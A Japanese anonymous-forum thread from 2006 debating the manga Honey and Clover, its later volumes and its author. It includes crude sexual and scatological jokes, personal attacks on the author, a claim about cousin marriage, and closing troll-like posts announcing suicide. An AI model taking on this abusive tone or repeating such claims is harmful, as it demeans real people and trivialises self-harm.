249 名前：花と名無しさん mailto:sage [2006/10/19(木) 22:45:38 ID:???0]: >>224
ジャムとか何かっていう説明は本誌ではなかったと思うので
勝手にハチミツでタイトルとこじつけたと脳内補完してたんだが
単行本ではあれはジャムだって説明されてるのか？
250 名前：花と名無しさん mailto:sage [2006/10/20(金) 00:28:10 ID:???0]: ねえねえ、実は水面下でドラマ化が決まってて
スピンオフ掲載と同時にお披露目だったらどうしよう…
冬は似合わないけど
251 名前：花と名無しさん mailto:sage [2006/10/20(金) 00:35:50 ID:???0]: リカさんだっけ
クソかわいいよね
252 名前：花と名無しさん mailto:sage [2006/10/20(金) 01:14:21 ID:???O]: いくらリカさんでも糞は可愛くないだろう。
ボソボソだし
253 名前：花と名無しさん mailto:sage [2006/10/20(金) 12:49:06 ID:???0]: スピノフはDVD発売とぶつけるんじゃないの？
254 名前：花と名無しさん mailto:sage [2006/10/20(金) 13:41:21 ID:???0]: 予約特典　原田理花のボソボソうんこフィギュア１/１スケール
255 名前：花と名無しさん mailto:sage [2006/10/20(金) 17:38:05 ID:???0]: >>236
人間椅子?!　マジ?!　サバスとメルヘン・・
256 名前：花と名無しさん mailto:sage [2006/10/20(金) 21:38:50 ID:???0]: ていうか右手動かなくなった程度であーだこーだってどうよ
きょうび足でギター弾く変態が居る時代だぞ
buro.blog7.fc2.com/blog-entry-2481.html
257 名前：花と名無しさん mailto:sage [2006/10/20(金) 23:22:40 ID:???0]: それは佐賀
258 名前：花と名無しさん mailto:sage [2006/10/21(土) 00:08:24 ID:???0]: てす
259 名前：245 mailto:sage [2006/10/21(土) 13:48:05 ID:???0]: >>248
いや別にその数字に大した意味はないよ
自分の場合コンビニで立ち読みして一巻の途中でリタイアしたし

何となくいきなり全巻買ったら後悔する可能性の方が高い気がして
ちょこちょこ様子見つつ買うことを勧めたまでですよ
260 名前：花と名無しさん [2006/10/22(日) 01:22:33 ID:UbUGUx450]: １０巻読んだ。
良い話だった。感動したが、
冒頭ではぐが森田とヤり、学校を出るときにリカと先生がヤる展開にするとは
思わなかった。
あまりにも軽すぎ。
261 名前：花と名無しさん mailto:sage [2006/10/22(日) 01:28:28 ID:???0]: ヤったかどうかは別として
そう読み取って感動できたところがすごいと思いました
262 名前：花と名無しさん mailto:sage [2006/10/22(日) 08:17:25 ID:???0]: >>260-261
あの状態で何も無かったら人間として間違えてるよね。
はぐみは良い思い出として、修ちゃんとリカは元々傷をなめあってた時期
があったわけでリカはそういう時許してしまう性格だもんね。
263 名前：花と名無しさん mailto:sage [2006/10/22(日) 09:10:00 ID:???O]: そんな些細な事どうでもいいくらい全体的に糞すぎた
264 名前：花と名無しさん mailto:sage [2006/10/22(日) 11:50:59 ID:???0]: スピンオフはリカと原田の結婚生活なヨカン
265 名前：花と名無しさん mailto:sage [2006/10/22(日) 14:17:55 ID:???0]: ようつべでアニメ見ちゃった。
漫画より、動くはぐの方がロリ感が増すし
先生もオッサンだから、更に気持ち悪くなった。
266 名前：花と名無しさん mailto:sage [2006/10/22(日) 20:06:55 ID:???0]: 実験
267 名前：花と名無しさん [2006/10/23(月) 10:28:26 ID:S+p1fCoiO]: 山田って卒業後仕事どうしてんの？
藤原デザインに卸し？
268 名前：花と名無しさん mailto:sage [2006/10/23(月) 11:08:25 ID:???0]: >>267
永久就職じゃね？野宮で
269 名前：花と名無しさん mailto:sage [2006/10/24(火) 00:27:41 ID:???O]: 読んでみたけど森田さんかっこいいね。まずレモン石鹸で体洗うあたりw
270 名前：花と名無しさん [2006/10/24(火) 10:17:09 ID:s3gmsyS+0]: ハチクロもやっぱり所詮少女マンガだよ。
山田とか男からしたら理解不能だった。
271 名前：花と名無しさん mailto:sage [2006/10/24(火) 10:37:00 ID:???0]: 勝手に男代表するなよ
272 名前：花と名無しさん mailto:sage [2006/10/24(火) 14:34:23 ID:???0]: 270は少年漫画の有り得ない女キャラ以外理解不能なんだよ
273 名前：花と名無しさん mailto:sage [2006/10/24(火) 15:04:44 ID:???0]: ２７０は不能なのか…かわいそす
佐賀古川知事プルサーマル
274 名前：花と名無しさん mailto:sage [2006/10/24(火) 15:19:16 ID:???0]: 男から見たら男ｷｬﾗの方がありえないんじゃないか？
私は女だが山田理解できないしｗ
275 名前：花と名無しさん mailto:sage [2006/10/24(火) 15:29:17 ID:???0]: 私から見ると、有り得ないキャラも現実にはいるとは思うんだけど
相当ウザがられるってか、あんな学生生活送れない。
276 名前：花と名無しさん mailto:sage [2006/10/24(火) 16:26:15 ID:???0]: 今更だけど10巻やっと読んだ。
アニメ見てたから結末は分かってたけどやっぱなんか…ね。
短編、星のオペラがすごくつぼだった。あのパンの名前なんだったっけ？
これ読んでつくずく羽海野の絵ってファンタジー物に合うなーって思ったよ。
277 名前：花と名無しさん mailto:sage [2006/10/24(火) 17:10:42 ID:???0]: 海ののファンタジーなんざ普通の作家のレベルをパヤオとしたら
ゴローくらいのもんでしかないだろ、なんだあの文字説明オンリー構成は
278 名前：花と名無しさん mailto:sage [2006/10/24(火) 20:31:01 ID:???0]: いや、こうしたら感動的になるってのはよく分かってる。
あとはあざとささえ隠せられればなぁ…。
279 名前：花と名無しさん [2006/10/25(水) 01:09:56 ID:7J8NrVS4O]: つくずくｗｗｗｗｗｗｗｗ
280 名前：花と名無しさん [2006/10/25(水) 05:27:30 ID:J4ES3JQVO]: 自分の恋愛感以外の感覚なんて本当の意味でわかるわけないね。
いいものはいい、わるいもんはわるいけどあんまり毒はかない。でいいじゃん。
ああ森田モドキになりてー。
281 名前：花と名無しさん mailto:sage [2006/10/25(水) 15:40:50 ID:???0]: おっさん顔のパンの所でこのマンガが好きになった
282 名前：花と名無しさん mailto:sage [2006/10/25(水) 16:21:05 ID:???0]: 「星のオペラ」なんて萩尾望都のパクリじゃん
283 名前：花と名無しさん mailto:age [2006/10/25(水) 21:12:30 ID:???0]: >>276
「暗記パン」だよ。
284 名前：花と名無しさん mailto:sage [2006/10/25(水) 21:51:10 ID:???O]: >280ホント、そうだ。
285 名前：花と名無しさん [2006/10/25(水) 21:56:31 ID:fgu3DxBX0]: 作者がウケを狙っているであろう場面で全く笑えない自分はおかしいのか・・・orz
笑いのツボが全く合致せず３巻で放棄した・・・
286 名前：花と名無しさん [2006/10/25(水) 23:00:40 ID:ShTdaNn/0]: 笑いのつぼは人それぞれだから
287 名前：花と名無しさん mailto:sage [2006/10/25(水) 23:12:52 ID:???0]: 別にギャグではないから笑いは求めなくても良いんじゃない？？
そりゃ、あればいいけどさ。
288 名前：花と名無しさん mailto:sage [2006/10/25(水) 23:21:07 ID:???0]: ギャグじゃなかったらそれはそれで痛すぎる
289 名前：花と名無しさん mailto:sage [2006/10/25(水) 23:21:51 ID:???0]: 笑えないを通り越して寒いと感じたら読むのは辛いだろうな
290 名前：花と名無しさん mailto:sage [2006/10/25(水) 23:29:29 ID:???0]: 寒いのはやめてほしい。
でも、羽海野は・・・まだ大丈夫だろ。
291 名前：花と名無しさん mailto:sage [2006/10/25(水) 23:37:56 ID:???0]: 寒かった
主に後半
292 名前：花と名無しさん mailto:sage [2006/10/25(水) 23:47:46 ID:???0]: 特にどの辺り？？
293 名前：花と名無しさん mailto:sage [2006/10/26(木) 02:40:57 ID:???O]: スピンオフまだー(･∀･ )っ/凵⌒☆ﾁﾝﾁﾝ
294 名前：花と名無しさん mailto:sage [2006/10/26(木) 03:54:10 ID:???0]: このスレの人達って「ものを創る人には～」発言にやたら反発してるけどなんで？
自分を除外されたみたいで傷ついたのかな？
自分は絵を描いたり音楽つくったりなんてこととは無縁の人だったから創り手には
わかるんだろうな～と単純に思っただけだった。
「わかる人にはわかる」ってどんな作品にもあると思うんだけど。
295 名前：花と名無しさん mailto:sage [2006/10/26(木) 04:04:37 ID:???0]: 他の人に「わかる」文章書いてね
296 名前：花と名無しさん mailto:sage [2006/10/26(木) 06:56:57 ID:???0]: 「わかる人」の範囲が狭い漫画は同人誌でどうぞ
プロなら未熟
297 名前：花と名無しさん mailto:sage [2006/10/26(木) 08:26:41 ID:???0]: わかる人の範囲が狭いって・・・この作品800万部も売れてんだろ？
298 名前：花と名無しさん mailto:sage [2006/10/26(木) 10:13:02 ID:???0]: はぐに共感して８００万部も売れたわけでは決してない
299 名前：花と名無しさん mailto:sage [2006/10/26(木) 10:48:34 ID:???0]: はぐに共感できなくても何かに共感したり感動したりできるから800万部も
売れてんじゃねえの？
294の人ははぐの気持ちが理解できなくてもハチクロは楽しめるって言ってる
んだよな？
自分も振られ続けて他に気になる異性が現れてもなお真山にしがみ続ける
山田の気持ちはまったく理解できなかったし山田に手をださない真山も信じ
られなかったがハチクロは楽しめたよ。
300 名前：花と名無しさん mailto:sage [2006/10/26(木) 11:58:28 ID:???0]: なんでも楽しんどけ
自民党の意見は理解できないけど支持とかしとけば
301 名前：花と名無しさん mailto:sage [2006/10/26(木) 12:45:30 ID:???0]: >>300
何故政治と、漫画を一緒に語るｗ
302 名前：花と名無しさん mailto:sage [2006/10/26(木) 13:38:05 ID:???O]: 847:風の谷の名無しさん＠実況は実況板で :2006/10/24(火) 18:21:47 ID:F8ro/4EZ
このアニメは、街中で寄って来るニヤけた新興宗教の信者もどきしか存在しない。
どいつもこいつも一見無害な顔で欲を果たそうとする根性が半端ない。
出てくるのが無理矢理自分を女の人生に捻じ込んで過剰な親切を繰り返す男と
苛つくほど傷つく環境に身を浸す女。原作描いた漫画家は病院に行って来い。
メンヘラ女が金と人生を惜しみなく手渡す都合のいい男を欲しがってるだけじゃねーか。
ご都合主義の漫画は嫌いじゃないが、これは相当苛つく部類に入る。
303 名前：花と名無しさん mailto:sage [2006/10/26(木) 13:44:10 ID:???0]: この意見はマトハズレな印象だな
わざわざコピペするほどの内容じゃないとｵﾓ
304 名前：花と名無しさん mailto:sage [2006/10/26(木) 14:05:55 ID:???O]: すいませんアニメの話しなんですが
16話の屋上で花本先生が言った三つ目ってなんですか？
考えたけど思い浮かびません
教えてくださいm(__)m
305 名前：花と名無しさん mailto:sage [2006/10/26(木) 14:15:23 ID:???0]: >>304
過去ログ嫁
306 名前：花と名無しさん mailto:sage [2006/10/26(木) 21:08:41 ID:???0]: ウミノはせめて山田のグダグダをもっとコンパクトにまとめて
はぐの内面を早めに描きだすべきだったと思う。
307 名前：花と名無しさん mailto:sage [2006/10/26(木) 21:59:22 ID:???0]: >>304
三つ目は「何もしない」じゃなかったかな？（違ってたかも）
308 名前：花と名無しさん [2006/10/27(金) 00:06:18 ID:tfaEm5raO]: >>299
私は山田の気持ちが一番よく分かったなぁ。
山田がいたからはちクロ読んでたって言っても過言ではないかも。
309 名前：花と名無しさん mailto:sage [2006/10/27(金) 02:36:49 ID:???0]: >>291
後半は酷かったね。
即物的な棚ボタ話を精神的な繋がりで美しく見せようと必死なのが見え見えで。
コマを書き文字で埋めたりそれが重要な台詞だったり凄くいい加減。
ポエムも台詞も漫画の展開をマンセーするための補強で使われて
キャラの人格無視も酷くて気持ち悪かった。
310 名前：花と名無しさん mailto:sage [2006/10/27(金) 02:58:15 ID:???0]: たかが漫画に対するお前の入れ込みようもキモイよ
311 名前：花と名無しさん mailto:sage [2006/10/27(金) 03:14:00 ID:???0]: >>294
「わかる人にはわかる」読む人を選ぶ作品はあると思うけど
ハチクロの制作描写は雰囲気重視でいい加減だからそう言う意味で反発が出たかも。
ギャグやファンタジーで天才芸術家（のようなもの）を描いてるのにあのコメントは痛いと思う。
312 名前：花と名無しさん mailto:sage [2006/10/27(金) 07:14:17 ID:???0]: 描写が不十分なのに言葉で説明
しかもその言葉をポエムにして
「わかる人だけわかってね」
313 名前：花と名無しさん mailto:sage [2006/10/27(金) 07:50:13 ID:???O]: なんだかんだ言っておまいら、前半と後半のクオリティーのギャップの酷さにキレてかきこんでんだろｗｗｗ

俺もだｗ
前半のクオリティーが後半も続けば1000万部売れただろうに
勢いは前半だけであとはグダry)。点取たら後半にその三倍も点取られちまう某国のサッカーみたいにｗ
調子こいてぼろが出たなｗｗ

まあ、サッカーと膿は格が違うがほかにいい比較材料がなかったんでサッカー好きがいたらｽﾏｿ
314 名前：花と名無しさん [2006/10/27(金) 08:21:46 ID:kWOoantF0]: 亀有
かばん職人

ｳﾐﾉたんち、Ｂなのかな。
315 名前：花と名無しさん mailto:sage [2006/10/27(金) 08:28:50 ID:???0]: 前半は作者もドライに描けてたのに
後半はホントにメソメソ。なに、悪い意味での母心みたいな？
連載中歳食ったからなのか、売れた嬉しさで必要以上に自己投影しちゃったのか･･･。
316 名前：花と名無しさん mailto:sage [2006/10/27(金) 09:51:51 ID:???0]: 私は逆に後半にこの作家の本質が出てるんじゃないかと思った
前半のギャグでとばしてるあたりはキャラがコマとして作家の思うとおりに
動いてる印象だったが後半はキャラがコマから人間になって自分で動きだした
みたいな・・・・・・まあそれが嫌だったわけだけど
317 名前：花と名無しさん mailto:sage [2006/10/27(金) 11:31:19 ID:???0]: 作家が実体験や人間性を投影しさえすればいい作品になるとか言う作家いたけど
大前提でその作家の人間性が魅力的じゃなきゃダメだよね。
うじうじ女なんか誰も願い下げ。
318 名前：花と名無しさん mailto:sage [2006/10/27(金) 12:08:50 ID:???O]: はぐは自立して、山田は真山を諦める。
普通の漫画ならこうなるはずだよなあ。
319 名前：花と名無しさん mailto:sage [2006/10/27(金) 13:30:56 ID:???O]: >>317
禿同

>>318
普通の漫画ならこうなるというか
作者が普通の精神状態だったらそうなるだろうな。

オチが予想外なら良いってもんじゃないよ。
結果が在り来たりでも途中から見えかけていても
そこまでの過程をどう描くかが見せ所だろうに。

しかもそのオチが初めて出来た有名人のお友達に影響受けて決めたって
どこまで愉快なオバハンなんだよ。
320 名前：花と名無しさん [2006/10/27(金) 14:43:52 ID:kWOoantF0]: ウミノさんて、謙遜しすぎて逆にものすごく失礼な感じ。
321 名前：花と名無しさん mailto:sage [2006/10/27(金) 15:07:30 ID:???O]: みなさん、手厳しいというか、いろいろ考えて読んでいるのですねぇ。
マンガは娯楽なのですから、そういう読み方をすると疲れませんか??
私は、最初から最後まで、楽しく読みましたけれど…
私のような人間は、少数派なんでしょうか。
322 名前：花と名無しさん mailto:sage [2006/10/27(金) 16:09:27 ID:???0]: 私も前半は笑って、後半はふーん、と流して
ラストは感動してはい、さよなら。って感じで楽しみました。
でも単行本は９巻からは買わなくなりました。
323 名前：花と名無しさん mailto:sage [2006/10/27(金) 18:30:14 ID:???O]: はぐは最初から、おっちゃんと両想いだったが…ふられ男二人に同情かつ振り回されてきた読者としては……拍子抜け…。

ハチクロは、寂しい作者が、読者を得てアニメ化でたくさんの友達を得て、
ようやく『普通』になるための人生のステップのような作品にみえました。
たくさんの友達を維持してくのは、大変だけど頑張れ、みたいな。
…メンヘルっぽい作品ってことか。
324 名前：花と名無しさん mailto:sage [2006/10/27(金) 18:31:06 ID:???0]: メルヘンなメンヘルっぽい作品
325 名前：花と名無しさん mailto:sage [2006/10/27(金) 19:01:09 ID:???0]: はぐがどっちの男を選んでも不満だったなあ
おっちゃんとくっつくというのはエエッ！！そっち行く？！
とびっくりしたけどさ。
個人的に期待してた展開としてははぐも自立し、海外（ヨーロッパ方面）
でばりばりがんばる。森田はアメリカ、竹本は日本各地
、真山はリカとスペインで、山田さんも真山をふっきり東京で陶芸作家
みんなバラバラに大人になっていくけど、
ふと一緒にすごした過ぎ去った時間に思いを馳せる…
そういうのが良かったけど…

山田さんが最後までうじうじした女だったのが一番残念。
はじめの素敵な鉄人設定が台無し。
326 名前：花と名無しさん mailto:sage [2006/10/27(金) 19:03:27 ID:???0]: 娯楽として完成したものを作れるプロの仕事をする人が
自分を投影して本気の作品を作れば、それは凄みのある代表作になったりするんだろうね。
ウミノさんの場合は、技術的な基本がなってないところに自己投影とかって
後半、駄駄滑り的にそのへんのアマチュアの“オナニー”または
“自意識の垂れ流し”になっちゃったのよね。
だからなにも残るものがなくて嫌われたり評価が低いんですわ。
327 名前：花と名無しさん mailto:sage [2006/10/27(金) 19:40:20 ID:???O]: スピンオフは、11月28日発売のコーラス1月号掲載みたいだね。

↓12月号の次号予告より
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お待ちかね★スピンオフバージョン、ついに始動!!
まだまだ止まらない“ハチクロ”ワールド情報も、引き続きお届けします♪
-----------------------------------

一回じゃなくて数回はありそうな感じを受けるね。ｺﾐｸｽ一冊分？
328 名前：花と名無しさん mailto:sage [2006/10/27(金) 22:26:17 ID:???0]: >326
技術的な基本て…w
何様？
329 名前：花と名無しさん mailto:sage [2006/10/27(金) 23:59:08 ID:???0]: 326じゃないがウミノたんの漫画技術がイマイチなのは
周知の事実じゃないのか
良くも悪くも同人っぽい所が受けてたんじゃないの
330 名前：花と名無しさん mailto:sage [2006/10/28(土) 01:01:15 ID:???0]: 海野は勝ち、お前らは負け

以上。
331 名前：花と名無しさん mailto:sage [2006/10/28(土) 01:12:27 ID:???O]: ストレンジ＋の帯も笑ったけど、デトロイトメタルシティの帯ほどではなかった。
真山のセリフが台無しだｗ
332 名前：花と名無しさん mailto:sage [2006/10/28(土) 01:26:38 ID:???0]: >331
ハチクロ知らない人には意味不明だと思うが、自分も笑った。
「ハチクラ」もイイ！　ハチミツとクラウザー。
333 名前：花と名無しさん mailto:sage [2006/10/28(土) 01:54:18 ID:???0]: >>326
ウミノさんの垂れ流された自意識を拾って語ってたスレもあったよ。

才能二極論に見る中二病
近親者コンプレックス者は父親とセックスを望むのか
強迫観念からくる自己啓発行為
ロリータ、処女、障害者は幼児願望の現れか
恋愛と家族愛の垣根が低い理由は

個人の人生観、恋愛観が垣間見えて面白かった。
334 名前：花と名無しさん [2006/10/28(土) 06:00:16 ID:ZuhZjf84O]: 横からこんにちは。
自分が落ち込んでるときに、ﾊﾁｸﾛ読むと、さらに落ち込んでドツボに嵌まりませんか？

私はｱﾝﾁﾊﾁｸﾛじゃないのですが(むしろ大好き)、主人公らがｷﾗｷﾗ一生懸命すぎて、自分のダメさを痛感する。

もちろん、元気なときはさらに元気を貰いますが。
335 名前：花と名無しさん [2006/10/28(土) 06:54:55 ID:EtXhLnv2O]: 真山死ねばよかったのに
336 名前：花と名無しさん mailto:sage [2006/10/28(土) 08:16:44 ID:???0]: >329
別に同人なんて読んだことねーがハチクロそれなりに
楽しんだけど何か？
じゃあ聞くんだけどその優れた漫画技術とやらを
お持ちの作家が一体どんだけいるっつーのよ。
どんな人間だってアップダウンくらいあるだろ。
人間的にノーミスで安定してたら面白い漫画かけるってわけ？
そんなの誰だよ。

ハチクロはすべて良かったわけじゃないし、
コーラスに移ったあたりからの
終盤の展開は私も好きじゃないけど、時々はっとするくらい
いいシーンがあったりしてふと思い出したりすると思う
少なくとも私は。
337 名前：花と名無しさん mailto:sage [2006/10/28(土) 10:28:35 ID:???0]: 漫画の技術って、なんだかわからない。
スポーツなんかでも技術的に勝ってる人とか
技術はイマイチなんだけどセンスがあるとか
人それぞれ個性があったりするけど
そういうようなもの？
338 名前：花と名無しさん [2006/10/28(土) 11:59:16 ID:zYN1qNGlO]: >>328
は？何様も何もないだろ。
339 名前：花と名無しさん mailto:sage [2006/10/28(土) 12:02:57 ID:???O]: >>337
色々ありますけど。
技術があってもセンスが無きゃどうしようもないけどね…
とにかく、分からないなら口出すの止めな。
340 名前：花と名無しさん mailto:sage [2006/10/28(土) 12:05:55 ID:???O]: >>330＝>>336海野乙www
何でそんなに必死なの？
ですが何か　とか知らねーーよテメーの事なんか。
アンカも付けられない初心者海野ウザ。
341 名前：花と名無しさん mailto:sage [2006/10/28(土) 12:07:19 ID:???0]: >>339
偉そうに命令するの止めな。
342 名前：花と名無しさん mailto:sage [2006/10/28(土) 13:22:03 ID:???0]: >>336は、それなりに楽しんだ程度ならムキにならなくてもいいのにね。
どうせどんな漫画もそれなりに楽しめる程度の人なんだろうから。
343 名前：花と名無しさん mailto:sage [2006/10/28(土) 13:28:09 ID:???0]: いっそのこと、はぐの計算高く腹黒い面や山田の真山に対する狂気にも
似た執着をもっと全面に出せば、また違った楽しみかたができたかも
しれない…などとふと思った。
344 名前：花と名無しさん mailto:sage [2006/10/28(土) 13:32:06 ID:???O]: たまに人生を良くも(天啓もらう)悪く(トラウマ作り)も変える作品がある。
個人的に、私にはそうじゃなかったが、
作者には大きく人生を変えた作品。メンヘルメンヘル。
読者は様々。
良かった。
それなり。
真山キライ。
山田ウザイ。
自分の作品や、絵より下手でオナニーと感じるのに「売れて評価されて悔しい」と歪んだ見方をするのもいれば
こいつセンスないのよ！どうして皆わかんないの！アンタ馬鹿ァ？と匿名掲示板で粘着するヤツもいる。
345 名前：花と名無しさん mailto:sage [2006/10/28(土) 14:19:29 ID:???0]: >>343
かもね。でも作者は天然で
その腹黒さや度を過ぎた執着の気持ち悪さに気づいてないんだよね・・・
346 名前：花と名無しさん mailto:sage [2006/10/28(土) 15:54:24 ID:???0]: はぐが怪我して入院したときにお父さんが新しい奥さんと病院に来た時点で
奥さんが妊娠してるってわかった？
コート着てたから自分はわからなかったんだが。
347 名前：花と名無しさん mailto:sage [2006/10/28(土) 16:01:12 ID:???0]: まだやってんのか作者叩き。

納得できる批判もあるけど、もう連載終わってんのにここまでしつこく続いてんのは
少数のアンチが粘着してるとしか思えないな。ここID出ない板だし。
作者の日記見たら絶対ここ見て落ち込んでるんだろうなと可哀相に思った。

ウミノさんスピンオフ頑張って下さい。ウミノクマでオナニーできるぐらいボクはファンです。どぴゅ。
348 名前：花と名無しさん mailto:sage [2006/10/28(土) 16:32:34 ID:???0]: でもウミノさんのプロいところって絵に限って語っても
ギャグ絵くらいで、シリアス絵はなんかどっか狂ってて素人っぽい。

それは絵が象徴してるわけで、マンガ全般においてその程度の才能の人だと思う。
349 名前：花と名無しさん [2006/10/28(土) 17:44:32 ID:8CG/mhv1O]: とにかく「はわわー」となる山田に萎え…
萌えると思ってるのか、作者。
350 名前：花と名無しさん mailto:sage [2006/10/28(土) 19:48:13 ID:???0]: 読者から叩かれれば叩かれるほどはぐ化していくな。
でも周りの才能のある人たちはちゃんと理解してついていてくれる
って感じで、わりと大丈夫なんでないの？漫画を地で行ってるね。
351 名前：花と名無しさん [2006/10/28(土) 21:42:11 ID:mhJ3taO0O]: 少女漫画のフリしたヲタ漫画だったな
352 名前：花と名無しさん [2006/10/28(土) 22:50:07 ID:GYiRUHcS0]: ウミノさんの自意識過剰さが嫌い
353 名前：花と名無しさん mailto:sage [2006/10/28(土) 22:51:57 ID:???0]: ほんとは好きなく・せ・に☆
354 名前：花と名無しさん mailto:sage [2006/10/28(土) 22:52:19 ID:???O]: >348

シリアス絵が狂気っぽい？
そこまで思う感覚がよくわからん…。狂気っぽいの根拠も。

あれで狂気を感じないアンタの感覚が変！と言われりゃそれまでだが。
355 名前：花と名無しさん mailto:sage [2006/10/28(土) 23:18:24 ID:???0]: >322　そだな、自分もコミックスはそこでとまってる、買う気になれん。
356 名前：花と名無しさん mailto:sage [2006/10/28(土) 23:45:57 ID:???0]: >>354
素人っぽい、という言葉からすると、狂うってのは絵の手足や
顔のバランスのことじゃないのかな。
ウミノさんはキャッチーな絵を描く人だなと思うが、
描線があっさりしすぎているのかカラーやコマが沢山あるページで
ないと寂しい印象がある。
357 名前：花と名無しさん mailto:sage [2006/10/29(日) 09:20:37 ID:???O]: はぐって23歳であんなんなのか…
358 名前：花と名無しさん mailto:sage [2006/10/29(日) 11:20:40 ID:???0]: 最終回時点では4年生終わった段階だから22歳じゃない？
はぐは元々「あんなん」だったわけだから気にならんけど、
最初は比較的一般人寄りりだった山田が25過ぎてもあんなんなのがよほど･･･。
最後の一年間、山田って職業不明だし。(研究生は2年で終了なのに大学に入り浸ってるし)
359 名前：花と名無しさん mailto:sage [2006/10/29(日) 12:20:03 ID:???0]: みんな年相応じゃないから病んでるように感じる
最後に来ておっさんまでおか
360 名前：花と名無しさん mailto:sage [2006/10/29(日) 13:13:18 ID:???0]: おそらく学生生活のリアルな粗雑さや貧乏描写に共感されたからこそ
売れたマンガだと思うんだが
メルヘンと40女の甘えた夢想で終わられてはな。みんな拍子抜け
361 名前：花と名無しさん mailto:sage [2006/10/29(日) 13:30:43 ID:???0]: 森田は大学辞めてあっちに行ったんだろうか？休学？
362 名前：花と名無しさん [2006/10/29(日) 13:47:22 ID:vEgmxU5W0]: そんなに絵は上手くない
363 名前：花と名無しさん mailto:sage [2006/10/29(日) 14:03:36 ID:???0]: そっか。自分は後半の話はそんなに好きじゃなかったけど
前半は結構好きで、絵も好きだった。
だから、まぁちょっとここで叩かれてる気持ちはわかるけど
ここまで叩かれる理由って、よくわからない。
ここまで駄作と言い切る人たちにとって
絵も話も完璧に満足する漫画って、例えばどんな作品なんだろう？
364 名前：花と名無しさん mailto:sage [2006/10/29(日) 14:29:03 ID:???0]: ただのやっかみだろｗ
365 名前：花と名無しさん mailto:sage [2006/10/29(日) 15:46:58 ID:???0]: なんか矛盾が生じてるよーな…
「３つ目の選択肢を俺は言わない」（修）とか言って
いかにも片想い万歳的な雰囲気を漂わせておきながら
最後には武本が「振られた」発言連発で…。
前半の雰囲気が壊れていってる
366 名前：花と名無しさん mailto:sage [2006/10/29(日) 16:29:58 ID:???0]: 前半の思わせぶりな言葉やポエムを
読者がいいほうに解釈しすぎてたのかもね。
実際動き出してみたら違ってた、と。
367 名前：花と名無しさん mailto:sage [2006/10/29(日) 16:57:22 ID:???O]: >>363
それなりに面白いけど同人（素人）レベルなんだよ。
プロの世界でもてはやされる漫画ではない。
368 名前：花と名無しさん mailto:sage [2006/10/29(日) 17:01:54 ID:???0]: でも実際それなりにもてはやされているし
369 名前：花と名無しさん mailto:sage [2006/10/29(日) 17:07:27 ID:???0]: しかし煽る側＆信者とそれ以外の層の温度差が
こんなに激しい漫画も珍しいな
370 名前：花と名無しさん [2006/10/29(日) 17:10:46 ID:yke1C3vQ0]: これから良くなるといいけど
次回作どうなんのかなー
371 名前：花と名無しさん mailto:sage [2006/10/29(日) 17:16:22 ID:???0]: アンチの方、同人レベル、と繰り返すのみで面白くないよ。
やっぱ
自分の描いている同人のほうが面白いのになんで？ってこと？

悔しかったらまぐれでも800万部売れてアニメ、映画化される
漫画描けば？まあ、そういう運もないんだろうけど。
372 名前：花と名無しさん mailto:sage [2006/10/29(日) 17:20:04 ID:???0]: スピンオフ、早く読みたいなー
373 名前：花と名無しさん mailto:sage [2006/10/29(日) 19:42:45 ID:???0]: やっと9巻と10巻読んだ。
8巻読んだのが昔過ぎて話覚えてなかったからハチクロってこんな話だったっけ？
と軽く混乱しながら読んだけど、まぁ面白い漫画から普通漫画にランクダウンしつつも楽しめた。

ただ修がはぐに持つ感情は原田に対する感情と同じで良かったんじゃないかなと思う。
はぐが怪我をしなければ、多分原田夫妻みたいに天才同士ではぐと森田がくっついて
修がまた置いていかれるところを、棚ボタではぐゲットみたいな感じがして
なんかはぐも修も微妙だなと感じたのでこの二人に恋愛はいらなかったなぁ。
恋愛感情じゃなくて持てる者を持たざる者がカバーする関係で良かったと思う。
竹本は返さなくていいって言ったけど、才能に惚れた相手なら作品作ることで相手も満足するだろうけど
恋愛感情も持ってる相手だと、もらいっぱなしというわけにもいかんだろうし。

森田と山田と竹本に関しては綺麗に終わったと感じた。
真山は結構どうでもいいキャラになってたw

しかしキャラが辛いと読んでる方もキツイね。
青春してる初期の頃は読んでて楽しいと単純に思えたけど
キャラがしんどいばっかりになるとこっちもなんか悲しい気持ちになる。
でも竹本は最後良かったなぁ。
374 名前：花と名無しさん mailto:sage [2006/10/29(日) 20:03:57 ID:???O]: はぐは怪我をする前から、「造りたいものがありすぎて」手伝ってくれる他人(修)の人生を、欲しがってたじゃないか。
これだけ抜き出すと、無茶苦茶我儘だけど。
375 名前：花と名無しさん [2006/10/29(日) 20:20:14 ID:8XppOfIh0]: 従兄弟の娘だと結婚は出来ても血が濃いから　障害児生まれる。。。
376 名前：花と名無しさん mailto:sage [2006/10/29(日) 20:25:05 ID:???O]: 必ず障害児が生まれる訳じゃないし。
知人のイトコ結婚で生まれた子供は、姉は生まれつきの茶髪、妹普通くらいだった。
377 名前：花と名無しさん mailto:sage [2006/10/29(日) 20:30:45 ID:???0]: つまんなければ、ここまで売れないし、スレ伸びないし
けど後半に向けて話が破綻（というか引き伸ばし）してたのは事実だと思うけど
まあ、人気がでちゃったマンガは全て同じ運命たどるねｗ

2巻の「別れの時が近づいているのだ」あたりが、個人的に一番盛り上がったよ
少しずつ社会に飲まれて、バラバラになっていくのを期待したけど結局みんな仲良しだねえｗ

ハチクロみたいな学生青春ものでお勧めを教えてくださいな
378 名前：花と名無しさん mailto:sage [2006/10/29(日) 20:51:54 ID:???O]: 一昔の青春学園モノといったら「ここはグリーンウッド」
379 名前：高橋佳子 [2006/10/29(日) 21:05:44 ID:fjMwWC0yO]: 自殺します
380 名前：花と名無しさん mailto:sage [2006/10/29(日) 21:07:44 ID:???0]: >>378
それって、一昔じゃなく二昔前って感じ。
381 名前：高橋佳子 [2006/10/29(日) 21:08:20 ID:fjMwWC0yO]: 出会い系で31歳のときに売春で処女を捨てました
海野がいなければ私は漫画家で幸せになれたのに
382 名前：花と名無しさん mailto:sage [2006/10/29(日) 21:08:40 ID:???0]: 同人だったら、このレベルの漫画が普通に読めるのかな？
383 名前：高橋佳子 [2006/10/29(日) 21:11:36 ID:fjMwWC0yO]: テレビ局と出版社に乗り込んで漫画家になってアニメ化と映画化を希望して売り込んだのに無視されました
384 名前：高橋佳子 [2006/10/29(日) 21:14:39 ID:fjMwWC0yO]: 同人は犯罪です
海野は著作違反で逮捕されるべきです
私は犯罪やってないのに漫画家になれない
385 名前：高橋佳子 [2006/10/29(日) 21:16:38 ID:fjMwWC0yO]: 同人をやれば私もスカウトされるのでしょうか
どこで同人ができるのでしょうか
386 名前：高橋佳子 [2006/10/29(日) 21:17:52 ID:fjMwWC0yO]: 同人の出版社と逮捕されない方法が知りたい
